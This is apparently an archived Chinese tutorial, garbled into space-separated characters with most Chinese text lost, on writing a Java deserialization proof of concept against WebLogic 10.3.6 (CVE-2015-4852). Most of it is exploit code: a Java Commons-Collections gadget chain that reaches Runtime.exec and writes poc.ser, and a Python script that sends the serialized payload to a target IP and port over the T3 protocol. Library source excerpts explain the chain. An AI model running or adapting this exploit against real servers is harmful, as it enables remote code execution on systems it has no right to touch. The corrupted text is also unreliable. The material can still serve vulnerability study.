[27046] 2020-07-20_手把手教你写JAVA反序列化的POC

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-19
2020-07-20_手把手教你写JAVA反序列化的POC J A V A P O C M s 0 8 0 6 7   2 0 2 0 - 0 7 - 2 0   t n t 0 x 0 1   j a v a a p a c h e   c o m m o n s - c o l l e c t i o n s . j a r p o p 使 广 w e b l o g i c   c v e - 2 0 1 5 - 4 8 5 2 c v e - 2 0 1 5 - 4 8 5 2 c v e - 2 0 1 5 - 4 8 5 2 y s o s e r i a l p a y l o a d . . . . . W e b l o g i c j d k 7 j d k 8 j d k 8 y s o s e r i a l p a y l o a d 使 C o m m o n s C o l l e c t i o n s 1 w e b l o g i c w e b l o g i c   1 0 . 3 . 6 , 使 c o m m o n s - c o l l e c t i o n s 3 . 2 . 0 y s o s e r i a l p a y l o a d 3 . 1 0 x 0 2   w e b l o g i c   1 0 . 3 . 6 j d k   1 . 7 y s o s e r i a l p a y l o a d s p a y l o d j a v a   p o c : 6 .   1 2 .   1 3 .     . 1 .   i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . * ; 2 .   i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C h a i n e d T r a n s f o r m e r ; 3 .   i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C o n s t a n t T r a n s f o r m e r ; 4 .   i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . I n v o k e r T r a n s f o r m e r ; 5 .   i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . m a p . T r a n s f o r m e d M a p ; 7 .   i m p o r t   j a v a . i o . * ; 8 .   i m p o r t   j a v a . l a n g . a n n o t a t i o n . R e t e n t i o n ; 9 .   i m p o r t   j a v a . l a n g . r e f l e c t . C o n s t r u c t o r ; 1 0 .   i m p o r t   j a v a . u t i l . H a s h M a p ; 1 1 .   i m p o r t   j a v a . u t i l . M a p ; 1 4 .   p u b l i c   c l a s s   P O C 2   {
2 2 .   2 4 .   2 7 .   2 9 .   3 3 .   p o c c o m m o n s - c o l l e c t i o n s i d e a w e b l g o i c 1 4 .   p u b l i c   c l a s s   P O C 2   { 1 5 .           p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n { 1 6 .                   T r a n s f o r m e r [ ]   t r a n s f o r m e r s _ e x e c   =   n e w   T r a n s f o r m e r [ ] { 1 7 .                                   n e w   C o n s t a n t T r a n s f o r m e r ( R u n t i m e . c l a s s ) , 1 8 .                                   n e w   I n v o k e r T r a n s f o r m e r ( " g e t M e t h o d " , n e w   C l a s s [ ] { S t r i n g . c l a s s , C l a s s [ ] . c l a s s } , n e w   O b j e c t [ ] { " g e t R u n t i m e " 1 9 .                                   n e w   I n v o k e r T r a n s f o r m e r ( " i n v o k e " , n e w   C l a s s [ ] { O b j e c t . c l a s s ,   O b j e c t [ ] . c l a s s } , n e w   O b j e c t [ ] { n u l l 2 0 .                                   n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " , n e w   C l a s s [ ] { S t r i n g . c l a s s } , n e w   O b j e c t [ ] { " w i r e s h a r k " } ) 2 1 .                   } ; 2 3 .                   T r a n s f o r m e r   c h a i n   =   n e w   C h a i n e d T r a n s f o r m e r ( t r a n s f o r m e r s _ e x e c ) ; 2 5 .                   H a s h M a p   i n n e r M a p   =   n e w   H a s h M a p ( ) ; 2 6 .                   i n n e r M a p . p u t ( " v a l u e " , " a s d f " ) ; 2 8 .                   M a p   o u t e r M a p   =   T r a n s f o r m e d M a p . d e c o r a t e ( i n n e r M a p , n u l l , c h a i n ) ; 3 0 .                   C l a s s   c l a z z   =   C l a s s . f o r N a m e ( " s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r " ) ; 3 1 .                   C o n s t r u c t o r   c o n s   =   c l a z z . g e t D e c l a r e d C o n s t r u c t o r ( C l a s s . c l a s s , M a p . c l a s s ) ; 3 2 .                   c o n s . s e t A c c e s s i b l e ( t r u e ) ; 3 4 .                   O b j e c t   i n s   =   c o n s . n e w I n s t a n c e ( j a v a . l a n g . a n n o t a t i o n . R e t e n t i o n . c l a s s , o u t e r M a p ) ; 3 5 .                   F i l e O u t p u t S t r e a m   f o s   =   n e w   F i l e O u t p u t S t r e a m ( " . / p o c . s e r " ) ; 3 6 .                   O b j e c t O u t p u t S t r e a m   o s   =   n e w   O b j e c t O u t p u t S t r e a m ( f o s ) ; 3 7 .                   o s . w r i t e O b j e c t ( i n s ) ; 3 8 .   / /                 B y t e A r r a y O u t p u t S t r e a m   b a o s   =   n e w   B y t e A r r a y O u t p u t S t r e a m ( ) ; 3 9 .   / /                 O b j e c t O u t p u t S t r e a m   o o s   =   n e w   O b j e c t O u t p u t S t r e a m ( b a o s ) ; 4 0 .   / /                 o o s . w r i t e O b j e c t ( i n s ) ; 4 1 .   / /                 o o s . f l u s h ( ) ; 4 2 .   / /                 o o s . c l o s e ( ) ; 4 3 .   / / 4 4 .   / /                 B y t e A r r a y I n p u t S t r e a m   b a i s   =   n e w   B y t e A r r a y I n p u t S t r e a m ( b a o s . t o B y t e A r r a y ( ) ) ; 4 5 .   / /                 O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( b a i s ) ; 4 6 .   / /                 O b j e c t   o b j   =   ( O b j e c t )   o i s . r e a d O b j e c t ( ) ; 4 7 .           } 4 8 .   }
l i b , h t t p s : / / b l o g . c s d n . n e t / h e _ a n d / a r t i c l e / d e t a i l s / 8 9 8 4 3 0 0 4 p o c , p o c . s e r p a y l o a d , p a y l o a d w e b l o g i c w e b l o g i c t 3 t 3 p a y l o a d w e b l o g i c , w e b l o g i c p a y l o a d , , t 3 5 .   7 .   1 1 .   1 6 .   1 9 .   2 1 .   2 5 .   2 8 .   c o m . b e a . c o r e . a p a c h e . c o m m o n s . c o l l e c t i o n s _ 3 . 2 . 0 . j a r 1 .   # ! / u s r / b i n / p y t h o n 2 .   i m p o r t   s o c k e t 3 .   i m p o r t   s y s 4 .   i m p o r t   s t r u c t 6 .   s o c k   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) 8 .   s e r v e r _ a d d r e s s   =   ( s y s . a r g v [ 1 ] ,   i n t ( s y s . a r g v [ 2 ] ) ) 9 .   p r i n t   ' c o n n e c t i n g   t o   % s   p o r t   % s '   %   s e r v e r _ a d d r e s s 1 0 .   s o c k . c o n n e c t ( s e r v e r _ a d d r e s s ) 1 2 .   #   S e n d   h e a d e r s 1 3 .   h e a d e r s = ' t 3   1 2 . 2 . 1 n A S : 2 5 5 n H L : 1 9 n M S : 1 0 0 0 0 0 0 0 n P U : t 3 : / / u s - l - b r e e n s : 7 0 0 1 n n ' 1 4 .   p r i n t   ' s e n d i n g   " % s " '   %   h e a d e r s 1 5 .   s o c k . s e n d a l l ( h e a d e r s ) 1 7 .   d a t a   =   s o c k . r e c v ( 1 0 2 4 ) 1 8 .   p r i n t   > > s y s . s t d e r r ,   ' r e c e i v e d   " % s " '   %   d a t a 2 0 .   p a y l o a d O b j   =   o p e n ( s y s . a r g v [ 3 ] , ' r b ' ) . r e a d ( ) 2 2 .   p a y l o a d = ' x 0 0 x 0 0 x 0 9 x f 3 x 0 1 x 6 5 x 0 1 x f f x f f x f f x f f x f f x f f x f f x f f x 0 0 x 0 0 x 0 0 x 7 1 x 0 0 x 0 0 x e a x 6 0 x 0 0 x 0 0 x 0 0 x 1 8 x 4 3 x 2 e x c 6 x a 2 x a 6 x 3 9 x 8 5 x b 5 x a f x 7 d x 6 3 x e 6 x 4 3 x 8 3 x f 4 x 2 a x 6 d x 9 2 x c 9 x e 9 x a f x 0 f x 9 4 x 7 2 x 0 2 x 7 9 x 7 3 x 7 2 x 0 0 x 7 8 x 7 2 x 0 1 x 7 8 x 7 2 x 0 2 x 7 8 x 7 0 x 0 0 x 0 0 x 0 0 x 0 c x 0 0 x 0 0 x 0 0 x 0 2 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 1 x 0 0 x 7 0 x 7 0 x 7 0 x 7 0 x 7 0 x 7 0 x 0 0 x 0 0 x 0 0 x 0 c x 0 0 x 0 0 x 0 0 x 0 2 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 1 x 0 0 x 7 0 x 0 6 x f e x 0 1 x 0 0 x 0 0 x a c x e d x 0 0 x 0 5 x 7 3 x 7 2 x 0 0 x 1 d x 7 7 x 6 5 x 6 2 x 6 c x 6 f x 6 7 x 6 9 x 6 3 x 2 e x 7 2 x 6 a x 7 6 x 6 d x 2 e x 4 3 x 6 c x 6 1 x 7 3 x 7 3 x 5 4 x 6 1 x 6 2 x 6 c x 6 5 x 4 5 x 6 e x 7 4 x 7 2 x 7 9 x 2 f x 5 2 x 6 5 x 8 1 x 5 7 x f 4 x f 9 x e d x 0 c x 0 0 x 0 0 x 7 8 x 7 0 x 7 2 x 0 0 x 2 4 x 7 7 x 6 5 x 6 2 x 6 c x 6 f x 6 7 x 6 9 x 6 3 x 2 e x 6 3 x 6 f x 6 d x 6 d x 6 f x 6 e x 2 e x 6 9 x 6 e x 7 4 x 6 5 x 7 2 x 6 e x 6 1 x 6 c x 2 e x 5 0 x 6 1 x 6 3 x 6 b x 6 1 x 6 7 x 6 5 x 4 9 x 6 e x 6 6 x 6 f x e 6 x f 7 x 2 3 x e 7 x b 8 x a e x 1 e x c 9 x 0 2 x 0 0 x 0 9 x 4 9 x 0 0 x 0 5 x 6 d x 6 1 x 6 a x 6 f x 7 2 x 4 9 x 0 0 x 0 5 x 6 d x 6 9 x 6 e x 6 f x 7 2 x 4 9 x 0 0 x 0 b x 7 0 x 6 1 x 7 4 x 6 3 x 6 8 x 5 5 x 7 0 x 6 4 x 6 1 x 7 4 x 6 5 x 4 9 x 0 0 x 0 c x 7 2 x 6 f x 6 c x 6 c x 6 9 x 6 e x 6 7 x 5 0 x 6 1 x 7 4 x 6 3 x 6 8 x 4 9 x 0 0 x 0 b x 7 3 x 6 5 x 7 2 x 7 6 x 6 9 x 6 3 x 6 5 x 5 0 x 6 1 x 6 3 x 6 b x 5 a x 0 0 x 0 e x 7 4 x 6 5 x 6 d x 7 0 x 6 f x 7 2 x 6 1 x 7 2 x 7 9 x 5 0 x 6 1 x 7 4 x 6 3 x 6 8 x 4 c x 0 0 x 0 9 x 6 9 x 6 d x 7 0 x 6 c x 5 4 x 6 9 x 7 4 x 6 c x 6 5 x 7 4 x 0 0 x 1 2 x 4 c x 6 a x 6 1 x 7 6 x 6 1 x 2 f x 6 c x 6 1 x 6 e x 6 7 x 2 f x 5 3 x 7 4 x 7 2 x 6 9 x 6 e x 6 7 x 3 b x 4 c x 0 0 x 0 a x 6 9 x 6 d x 7 0 x 6 c x 5 6 x 6 5 x 6 e x 6 4 x 6 f x 7 2 x 7 1 x 0 0 x 7 e x 0 0 x 0 3 x 4 c x 0 0 x 0 b x 6 9 x 6 d x 7 0 x 6 c x 5 6 x 6 5 x 7 2 x 7 3 x 6 9 x 6 f x 6 e x 7 1 x 0 0 x 7 e x 0 0 x 0 3 x 7 8 x 7 0 x 7 7 x 0 2 x 0 0 x 0 0 x 7 8 x f e x 0 1 x 0 0 x 0 0 ' 2 3 .   p a y l o a d = p a y l o a d + p a y l o a d O b j 2 4 .   p a y l o a d = p a y l o a d + ' x f e x 0 1 x 0 0 x 0 0 x a c x e d x 0 0 x 0 5 x 7 3 x 7 2 x 0 0 x 1 d x 7 7 x 6 5 x 6 2 x 6 c x 6 f x 6 7 x 6 9 x 6 3 x 2 e x 7 2 x 6 a x 7 6 x 6 d x 2 e x 4 3 x 6 c x 6 1 x 7 3 x 7 3 x 5 4 x 6 1 x 6 2 x 6 c x 6 5 x 4 5 x 6 e x 7 4 x 7 2 x 7 9 x 2 f x 5 2 x 6 5 x 8 1 x 5 7 x f 4 x f 9 x e d x 0 c x 0 0 x 0 0 x 7 8 x 7 0 x 7 2 x 0 0 x 2 1 x 7 7 x 6 5 x 6 2 x 6 c x 6 f x 6 7 x 6 9 x 6 3 x 2 e x 6 3 x 6 f x 6 d x 6 d x 6 f x 6 e x 2 e x 6 9 x 6 e x 7 4 x 6 5 x 7 2 x 6 e x 6 1 x 6 c x 2 e x 5 0 x 6 5 x 6 5 x 7 2 x 4 9 x 6 e x 6 6 x 6 f x 5 8 x 5 4 x 7 4 x f 3 x 9 b x c 9 x 0 8 x f 1 x 0 2 x 0 0 x 0 7 x 4 9 x 0 0 x 0 5 x 6 d x 6 1 x 6 a x 6 f x 7 2 x 4 9 x 0 0 x 0 5 x 6 d x 6 9 x 6 e x 6 f x 7 2 x 4 9 x 0 0 x 0 b x 7 0 x 6 1 x 7 4 x 6 3 x 6 8 x 5 5 x 7 0 x 6 4 x 6 1 x 7 4 x 6 5 x 4 9 x 0 0 x 0 c x 7 2 x 6 f x 6 c x 6 c x 6 9 x 6 e x 6 7 x 5 0 x 6 1 x 7 4 x 6 3 x 6 8 x 4 9 x 0 0 x 0 b x 7 3 x 6 5 x 7 2 x 7 6 x 6 9 x 6 3 x 6 5 x 5 0 x 6 1 x 6 3 x 6 b x 5 a x 0 0 x 0 e x 7 4 x 6 5 x 6 d x 7 0 x 6 f x 7 2 x 6 1 x 7 2 x 7 9 x 5 0 x 6 1 x 7 4 x 6 3 x 6 8 x 5 b x 0 0 x 0 8 x 7 0 x 6 1 x 6 3 x 6 b x 6 1 x 6 7 x 6 5 x 7 3 x 7 4 x 0 0 x 2 7 x 5 b x 4 c x 7 7 x 6 5 x 6 2 x 6 c x 6 f x 6 7 x 6 9 x 6 3 x 2 f x 6 3 x 6 f x 6 d x 6 d x 6 f x 6 e x 2 f x 6 9 x 6 e x 7 4 x 6 5 x 7 2 x 6 e x 6 1 x 6 c x 2 f x 5 0 x 6 1 x 6 3 x 6 b x 6 1 x 6 7 x 6 5 x 4 9 x 6 e x 6 6 x 6 f x 3 b x 7 8 x 7 2 x 0 0 x 2 4 x 7 7 x 6 5 x 6 2 x 6 c x 6 f x 6 7 x 6 9 x 6 3 x 2 e x 6 3 x 6 f x 6 d x 6 d x 6 f x 6 e x 2 e x 6 9 x 6 e x 7 4 x 6 5 x 7 2 x 6 e x 6 1 x 6 c x 2 e x 5 6 x 6 5 x 7 2 x 7 3 x 6 9 x 6 f x 6 e x 4 9 x 6 e x 6 6 x 6 f x 9 7 x 2 2 x 4 5 x 5 1 x 6 4 x 5 2 x 4 6 x 3 e x 0 2 x 0 0 x 0 3 x 5 b x 0 0 x 0 8 x 7 0 x 6 1 x 6 3 x 6 b x 6 1 x 6 7 x 6 5 x 7 3 x 7 1 x 0 0 x 7 e x 0 0 x 0 3 x 4 c x 0 0 x 0 e x 7 2 x 6 5 x 6 c x 6 5 x 6 1 x 7 3 x 6 5 x 5 6 x 6 5 x 7 2 x 7 3 x 6 9 x 6 f x 6 e x 7 4 x 0 0 x 1 2 x 4 c x 6 a x 6 1 x 7 6 x 6 1 x 2 f x 6 c x 6 1 x 6 e x 6 7 x 2 f x 5 3 x 7 4 x 7 2 x 6 9 x 6 e x 6 7 x 3 b x 5 b x 0 0 x 1 2 x 7 6 x 6 5 x 7 2 x 7 3 x 6 9 x 6 f x 6 e x 4 9 x 6 e x 6 6 x 6 f x 4 1 x 7 3 x 4 2 x 7 9 x 7 4 x 6 5 x 7 3 x 7 4 x 0 0 x 0 2 x 5 b x 4 2 x 7 8 x 7 2 x 0 0 x 2 4 x 7 7 x 6 5 x 6 2 x 6 c x 6 f x 6 7 x 6 9 x 6 3 x 2 e x 6 3 x 6 f x 6 d x 6 d x 6 f x 6 e x 2 e x 6 9 x 6 e x 7 4 x 6 5 x 7 2 x 6 e x 6 1 x 6 c x 2 e x 5 0 x 6 1 x 6 3 x 6 b x 6 1 x 6 7 x 6 5 x 4 9 x 6 e x 6 6 x 6 f x e 6 x f 7 x 2 3 x e 7 x b 8 x a e x 1 e x c 9 x 0 2 x 0 0 x 0 9 x 4 9 x 0 0 x 0 5 x 6 d x 6 1 x 6 a x 6 f x 7 2 x 4 9 x 0 0 x 0 5 x 6 d x 6 9 x 6 e x 6 f x 7 2 x 4 9 x 0 0 x 0 b x 7 0 x 6 1 x 7 4 x 6 3 x 6 8 x 5 5 x 7 0 x 6 4 x 6 1 x 7 4 x 6 5 x 4 9 x 0 0 x 0 c x 7 2 x 6 f x 6 c x 6 c x 6 9 x 6 e x 6 7 x 5 0 x 6 1 x 7 4 x 6 3 x 6 8 x 4 9 x 0 0 x 0 b x 7 3 x 6 5 x 7 2 x 7 6 x 6 9 x 6 3 x 6 5 x 5 0 x 6 1 x 6 3 x 6 b x 5 a x 0 0 x 0 e x 7 4 x 6 5 x 6 d x 7 0 x 6 f x 7 2 x 6 1 x 7 2 x 7 9 x 5 0 x 6 1 x 7 4 x 6 3 x 6 8 x 4 c x 0 0 x 0 9 x 6 9 x 6 d x 7 0 x 6 c x 5 4 x 6 9 x 7 4 x 6 c x 6 5 x 7 1 x 0 0 x 7 e x 0 0 x 0 5 x 4 c x 0 0 x 0 a x 6 9 x 6 d x 7 0 x 6 c x 5 6 x 6 5 x 6 e x 6 4 x 6 f x 7 2 x 7 1 x 0 0 x 7 e x 0 0 x 0 5 x 4 c x 0 0 x 0 b x 6 9 x 6 d x 7 0 x 6 c x 5 6 x 6 5 x 7 2 x 7 3 x 6 9 x 6 f x 6 e x 7 1 x 0 0 x 7 e x 0 0 x 0 5 x 7 8 x 7 0 x 7 7 x 0 2 x 0 0 x 0 0 x 7 8 x f e x 0 0 x f f x f e x 0 1 x 0 0 x 0 0 x a c x e d x 0 0 x 0 5 x 7 3 x 7 2 x 0 0 x 1 3 x 7 7 x 6 5 x 6 2 x 6 c x 6 f x 6 7 x 6 9 x 6 3 x 2 e x 7 2 x 6 a x 7 6 x 6 d x 2 e x 4 a x 5 6 x 4 d x 4 9 x 4 4 x d c x 4 9 x c 2 x 3 e x d e x 1 2 x 1 e x 2 a x 0 c x 0 0 x 0 0 x 7 8 x 7 0 x 7 7 x 4 6 x 2 1 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 9 x 3 1 x 3 2 x 3 7 x 2 e x 3 0 x 2 e x 3 1 x 2 e x 3 1 x 0 0 x 0 b x 7 5 x 7 3 x 2 d x 6 c x 2 d x 6 2 x 7 2 x 6 5 x 6 5 x 6 e x 7 3 x a 5 x 3 c x a f x f 1 x 0 0 x 0 0 x 0 0 x 0 7 x 0 0 x 0 0 x 1 b x 5 9 x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x f f x 0 0 x 7 8 x f e x 0 1 x 0 0 x 0 0 x a c x e d x 0 0 x 0 5 x 7 3 x 7 2 x 0 0 x 1 3 x 7 7 x 6 5 x 6 2 x 6 c x 6 f x 6 7 x 6 9 x 6 3 x 2 e x 7 2 x 6 a x 7 6 x 6 d x 2 e x 4 a x 5 6 x 4 d x 4 9 x 4 4 x d c x 4 9 x c 2 x 3 e x d e x 1 2 x 1 e x 2 a x 0 c x 0 0 x 0 0 x 7 8 x 7 0 x 7 7 x 1 d x 0 1 x 8 1 x 4 0 x 1 2 x 8 1 x 3 4 x b f x 4 2 x 7 6 x 0 0 x 0 9 x 3 1 x 3 2 x 3 7 x 2 e x 3 0 x 2 e x 3 1 x 2 e x 3 1 x a 5 x 3 c x a f x f 1 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 7 8 ' 2 6 .   #   a d j u s t   h e a d e r   f o r   a p p r o p r i a t e   m e s s a g e   l e n g t h 2 7 .   p a y l o a d   =   " { 0 } { 1 } " . f o r m a t ( s t r u c t . p a c k ( ' ! i ' ,   l e n ( p a y l o a d ) ) ,   p a y l o a d [ 4 : ] ) 2 9 .   p r i n t   ' s e n d i n g   p a y l o a d . . . ' 3 0 .   s o c k . s e n d ( p a y l o a d )
p y 2 p y t h o n 3 p a y l o a d : w i r e s h a r k t 3 h t t p s : / / b l o g . c s d n . n e t / h e _ a n d / a r t i c l e / d e t a i l s / 9 7 9 2 4 6 7 9 0 x 0 3   c o m m o n s - c o l l e c t i o n s   g a d g e t s 使 p a y l o a d ? p o c I n v o k e r T r a n s f o r m e r t r a n s f o r m p y t h o n   w e b l o g i c - t 3 . p y   i p   p o r t p a y l o a d R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " w i r e s h a r k " )
d e m o i n p u t c o m m o n s - c o l l e c t i o n s C h a i n e d T r a n s f o r m e r t r a n s f o r m 1 .           p u b l i c   O b j e c t   t r a n s f o r m ( O b j e c t   i n p u t )   { 2 .                   i f   ( i n p u t   = =   n u l l )   { 3 .                           r e t u r n   n u l l ; 4 .                   }   e l s e   { 5 .                           t r y   { 6 .                                   C l a s s   c l s   =   i n p u t . g e t C l a s s ( ) ; 7 .                                   M e t h o d   m e t h o d   =   c l s . g e t M e t h o d ( t h i s . i M e t h o d N a m e ,   t h i s . i P a r a m T y p e s ) ; 8 .                                   r e t u r n   m e t h o d . i n v o k e ( i n p u t ,   t h i s . i A r g s ) ; 9 .                           }   c a t c h   ( N o S u c h M e t h o d E x c e p t i o n   v a r 5 )   { 1 0 .                                   t h r o w   n e w   F u n c t o r E x c e p t i o n ( " I n v o k e r T r a n s f o r m e r :   T h e   m e t h o d   ' "   +   t h i s . i M e t h o d N a m e   +   " '   o n   ' " 1 1 .                           }   c a t c h   ( I l l e g a l A c c e s s E x c e p t i o n   v a r 6 )   { 1 2 .                                   t h r o w   n e w   F u n c t o r E x c e p t i o n ( " I n v o k e r T r a n s f o r m e r :   T h e   m e t h o d   ' "   +   t h i s . i M e t h o d N a m e   +   " '   o n   ' " 1 3 .                           }   c a t c h   ( I n v o c a t i o n T a r g e t E x c e p t i o n   v a r 7 )   { 1 4 .                                   t h r o w   n e w   F u n c t o r E x c e p t i o n ( " I n v o k e r T r a n s f o r m e r :   T h e   m e t h o d   ' "   +   t h i s . i M e t h o d N a m e   +   " '   o n   ' " 1 5 .                           } 1 6 .                   } 1 7 .           } 1 .           p u b l i c   I n v o k e r T r a n s f o r m e r ( S t r i n g   m e t h o d N a m e ,   C l a s s [ ]   p a r a m T y p e s ,   O b j e c t [ ]   a r g s )   { 2 .                   t h i s . i M e t h o d N a m e   =   m e t h o d N a m e ; 3 .                   t h i s . i P a r a m T y p e s   =   p a r a m T y p e s ; 4 .                   t h i s . i A r g s   =   a r g s ; 5 .           } t h i s . i M e t h o d N a m e , t h i s . i P a r a m T y p e s , t h i s . i M e t h o d N a m e , t h i s . i P a r a m T y p e s R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " x x x x " )
5 .   1 0 .   T r a n s f o r m e r t r a n s f o r m t r a n s f o r m t r a n s f o r m t r a n s f o r m I n v o k e r T r a n s f o r m e r R u n t i m e , I n v o k e r T r a n s f o r m e r R u n t i m e C o n s t a n t T r a n s f o r m e r t r a n s f o r m 4 .   t r a n s f o r m i C o n s t a n t t h i s . i C o n s t a n t R u n t i m e . c l a s s R u n t i m e . c l a s s R u n t i m e x x x t r a n s f o r m e r t r a n s f r o m e r t r a n s f o r m e r , x x x t r a n s f o r m e r T r a n s F o r m e r t r a n s f o r m : | I n v o k e r T r a n s f o r m e r | C o n s t a n t T r a n s f o r m e r | C h a i n e d T r a n s f o r m e r | | : - : | : - : | : - : | | | | T r a n s F o r m e r | | t r a n s f o r m | t r a n s f o r m | t r a n s f o r m 1 .   / / 2 .           p u b l i c   C h a i n e d T r a n s f o r m e r ( T r a n s f o r m e r [ ]   t r a n s f o r m e r s )   { 3 .                   t h i s . i T r a n s f o r m e r s   =   t r a n s f o r m e r s ; 4 .           } 6 .           p u b l i c   O b j e c t   t r a n s f o r m ( O b j e c t   o b j e c t )   { 7 .                   f o r ( i n t   i   =   0 ;   i   <   t h i s . i T r a n s f o r m e r s . l e n g t h ;   + + i )   { 8 .                           o b j e c t   =   t h i s . i T r a n s f o r m e r s [ i ] . t r a n s f o r m ( o b j e c t ) ; 9 .                   } 1 1 .                   r e t u r n   o b j e c t ; 1 2 .           } 1 .           p u b l i c   C o n s t a n t T r a n s f o r m e r ( O b j e c t   c o n s t a n t T o R e t u r n )   { 2 .                   t h i s . i C o n s t a n t   =   c o n s t a n t T o R e t u r n ; 3 .           } 5 .           p u b l i c   O b j e c t   t r a n s f o r m ( O b j e c t   i n p u t )   { 6 .                   r e t u r n   t h i s . i C o n s t a n t ; 7 .           }
t r a n s f o r m | t r a n s f o r m e r 7 .   t r a n s f o r m ( ) 便 w i r e s h a r k : C h a i n e d T r a n s f o r m e r t r a n s f o r m t r a n s f o r m ( i d e a . c l a s s 使 t r a n s f o r m L a z y M a p T r a n s f o r m e d M a p T r a n s f o r m e d M a p T r a n s f o r m e d M a p 使 t r a n s f o r m 1 .   T r a n s f o r m e r [ ]   t r a n s f o r m e r s _ e x e c   =   n e w   T r a n s f o r m e r [ ] { 2 .                   n e w   C o n s t a n t T r a n s f o r m e r ( R u n t i m e . c l a s s ) , 3 .                   n e w   I n v o k e r T r a n s f o r m e r ( " g e t M e t h o d " , n e w   C l a s s [ ] { S t r i n g . c l a s s , C l a s s [ ] . c l a s s } , n e w   O b j e c t [ ] { " g e t R u n t i m e " 4 .                   n e w   I n v o k e r T r a n s f o r m e r ( " i n v o k e " , n e w   C l a s s [ ] { O b j e c t . c l a s s ,   O b j e c t [ ] . c l a s s } , n e w   O b j e c t [ ] { n u l l , n u l l } ) , 5 .                   n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " , n e w   C l a s s [ ] { S t r i n g . c l a s s } , n e w   O b j e c t [ ] { " w i r e s h a r k " } ) 6 .   } ; 8 .   T r a n s f o r m e r   c h a i n   =   n e w   C h a i n e d T r a n s f o r m e r ( t r a n s f o r m e r s _ e x e c ) ; 9 .   c h a i n . t r a n s f o r m ( ' 1 ' ) ;
使 t r a n s f o r m 使 C h a i n e d T r a n s f o r m e r . t r a n s f o r m ( ) , t h i s . k e y T r a n s f o r m e r t h i s . k e y T r a n s f o r m e r T r a n s f o r m e r , p o c C h a i n e d T r a n s f o r m e r p o c p o c T r a n s f o r m e d M a p t r a n s f o r m K e y t r a n s f o r m V a l u e c h e c k S e t V a l u e t r a n s f o r m 访 p r o t e c t e d , 访 T r a n s f o r m e d M a p 访 p u b l i c : :
4 .   1 2 .   6 .   p u t t r a n s f o r m K e y t r a n s f o r m V a l u e , t r a n s f o r m T r a n s f o r o m e d M a p p u t p o c 1 .           p u b l i c   s t a t i c   M a p   d e c o r a t e ( M a p   m a p ,   T r a n s f o r m e r   k e y T r a n s f o r m e r ,   T r a n s f o r m e r   v a l u e T r a n s f o r m e r )   { 2 .                   r e t u r n   n e w   T r a n s f o r m e d M a p ( m a p ,   k e y T r a n s f o r m e r ,   v a l u e T r a n s f o r m e r ) ; 3 .           } 5 .           p u b l i c   s t a t i c   M a p   d e c o r a t e T r a n s f o r m ( M a p   m a p ,   T r a n s f o r m e r   k e y T r a n s f o r m e r ,   T r a n s f o r m e r   v a l u e T r a n s f o r m e r 6 .                   T r a n s f o r m e d M a p   d e c o r a t e d   =   n e w   T r a n s f o r m e d M a p ( m a p ,   k e y T r a n s f o r m e r ,   v a l u e T r a n s f o r m e r ) ; 7 .                   i f   ( m a p . s i z e ( )   >   0 )   { 8 .                           M a p   t r a n s f o r m e d   =   d e c o r a t e d . t r a n s f o r m M a p ( m a p ) ; 9 .                           d e c o r a t e d . c l e a r ( ) ; 1 0 .                           d e c o r a t e d . g e t M a p ( ) . p u t A l l ( t r a n s f o r m e d ) ; 1 1 .                   } 1 3 .                   r e t u r n   d e c o r a t e d ; 1 4 .           } 1 .           p u b l i c   O b j e c t   p u t ( O b j e c t   k e y ,   O b j e c t   v a l u e )   { 2 .                   k e y   =   t h i s . t r a n s f o r m K e y ( k e y ) ; 3 .                   v a l u e   =   t h i s . t r a n s f o r m V a l u e ( v a l u e ) ; 4 .                   r e t u r n   t h i s . g e t M a p ( ) . p u t ( k e y ,   v a l u e ) ; 5 .           } 7 .           p u b l i c   v o i d   p u t A l l ( M a p   m a p T o C o p y )   { 8 .                   m a p T o C o p y   =   t h i s . t r a n s f o r m M a p ( m a p T o C o p y ) ; 9 .                   t h i s . g e t M a p ( ) . p u t A l l ( m a p T o C o p y ) ; 1 0 .           }
6 .   9 .   1 8 .   2 0 .   2 3 .   p o c , w i r e s h a r k 1 .   i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . T r a n s f o r m e r ; 2 .   i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C h a i n e d T r a n s f o r m e r ; 3 .   i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C o n s t a n t T r a n s f o r m e r ; 4 .   i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . I n v o k e r T r a n s f o r m e r ; 5 .   i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . m a p . T r a n s f o r m e d M a p ; 7 .   i m p o r t   j a v a . u t i l . H a s h M a p ; 8 .   i m p o r t   j a v a . u t i l . M a p ; 1 0 .   p u b l i c   c l a s s   P O C 3   { 1 1 .           p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n { 1 2 .                   T r a n s f o r m e r [ 